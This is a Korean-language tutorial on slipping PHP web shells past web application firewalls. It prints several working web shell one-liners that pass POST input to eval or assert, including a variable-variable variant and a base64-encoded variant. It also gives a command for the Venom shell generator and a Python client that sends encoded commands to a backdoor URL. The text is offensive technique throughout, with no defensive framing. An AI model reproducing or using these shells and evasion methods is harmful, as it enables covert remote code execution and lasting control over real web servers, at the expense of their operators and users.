WAF(웹 애플리케이션 방화벽)를 우회하는 과정은 여러 측면에서 고려해야 합니다. 우선 권한 확보 후 파일 읽기, 쓰기, 실행 등의 작업을 수행하려 할 때, 이 모든 행위는 WAF에 의해 감시되고 차단될 수 있습니다. 따라서 단순히 코드 레벨에서 우회하는 것만으로는 부족하며, 행동 패턴까지도 고려해야 합니다.
예를 들어, PHP 기반의 웹쉘 코드는 다음과 같습니다:
<?php @eval($_POST['cmd']); ?>
하지만 eval 함수는 WAF에서 쉽게 탐지되므로 대신 assert 함수를 사용합니다. 이 함수는 변수에 할당해 호출할 수 있어 유연성이 높습니다:
<?php assert($_POST['cmd']); ?>
또한 변수 덮어쓰기를 활용하여 파라미터를 통해 코드를 전달할 수 있습니다:
<?php
$x = $_GET['key'];
$$x = $_GET['func'];
$y($_POST['data']);
?>
이 경우, 요청 URL에 ?key=y&func=assert와 같은 형태로 전달하면 $y는 assert가 되어 이후 코드 실행이 가능합니다.
또한, 특정 방화벽(예: Safedog, 宝塔, 阿里云)은 특정 행동이나 문자열을 검출하여 차단합니다. 예를 들어 phpinfo() 함수 호출 시 감지되는 경우가 있습니다. 이를 우회하기 위해 인코딩과 암호화 방식을 사용합니다:
<?php assert(base64_decode($_POST['data'])); ?>
이러한 방식으로 원본 코드를 가공해 WAF가 분석하기 어렵게 만듭니다. 또한, 코드 난독화 도구를 활용해 실행 가능한 형태로 변환할 수 있습니다. 예를 들어 enphp 또는 PHPJiMi 등을 사용해 복잡하게 재구성할 수 있습니다.
이러한 접근법을 통해 생성된 코드는 WAF가 일반적인 키워드나 행동을 감지하지 못하도록 하며, 최종적으로 원하는 파일 조작이나 명령 실행을 성공적으로 수행할 수 있습니다.
다음으로, 웹쉘 생성 도구인 Venom을 사용해 다양한 언어(ASP, ASPX, JSP, PHP 등)의 방화벽 우회 코드를 자동 생성할 수 있습니다:
python3 php_venom_3.3.py shell.php
이 명령어는 지정된 파일을 분석하고 방화벽 우회 버전으로 재생성합니다. 이 방식은 공통적으로 적용 가능한 방식이며, 특정 WAF에 대한 방어 기능을 우회하는 데 효과적입니다.
또한, 동작 레벨에서도 우회 전략이 필요합니다. 예를 들어, 악성코드 연결 시 사용하는 도구(예: 蚁剑, 冰蝎) 자체가 WAF에서 탐지될 수 있으므로, 직접 데이터 패킷을 구성해 요청하는 방법도 고려됩니다.
예를 들어, 직접 HTTP 요청을 보내 파일 목록을 가져오는 스크립트는 다음과 같습니다:
import requests
import base64
url = input("후문 주소 입력:")
pwd = input("비밀번호 입력:")
payload = {
'z': base64.b64encode(b"var_dump(scandir('.'));").decode()
}
response = requests.post(url, data=payload)
print(response.text)
이렇게 직접 구현한 커스텀 패킷은 WAF의 키워드 기반 감지를 피할 수 있으며, 보다 정확한 동작 제어가 가능합니다.
결론적으로, WAF 우회에는 코드 레벨과 행동 레벨 모두 고려해야 하며, 다양한 기법(변수 덮어쓰기, 인코딩, 난독화 등)을 적절히 활용해야 합니다. 특히 동작 패턴에 따라 방화벽이 감지를 하지 못하도록 하는 것이 중요합니다.